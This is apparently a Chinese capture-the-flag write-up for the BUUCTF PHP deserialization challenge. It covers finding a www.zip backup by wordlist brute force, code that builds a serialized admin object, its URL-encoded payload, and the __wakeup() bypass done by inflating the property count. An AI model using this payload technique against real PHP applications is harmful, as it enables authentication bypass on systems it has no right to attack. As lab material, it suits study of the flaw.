[极客大挑战 2019]PHP 1

根据提示应该有一个备份文件，所以我们需要扫出备份文件
可以去github上去找字典爆破
https://github.com/scopion/dic
爆破出来是www.zip

阅读源码后发现是php反序列化的漏洞

<?php
error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }



}
$A = new Name (@admin,100);					//创建对象        
echo  serialize($A);   
$user = urlencode(serialize($A));//对对象A进行序列化
echo $user;
?>

输出：
O:4:"Name":2：{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D

调用unserialize()时会自动调用魔法函数wakeup(),可以通过改变属性数绕过，把Name后面的2改为3或以上
我们尽量在构造payload的时候用php自带的编解码转换函数，因为成员（属性）是private，所以要在类名和成员名前加%00这个url编码是空的意思。因为生产序列化时不会把这个空也输出。
而且这里要注意，php的urlencode()是会自动把空编码成%00，而Python的parse.quote()不会
想要看源码的可以点击下面的文章
BUUCTF [极客大挑战 2019]PHP 1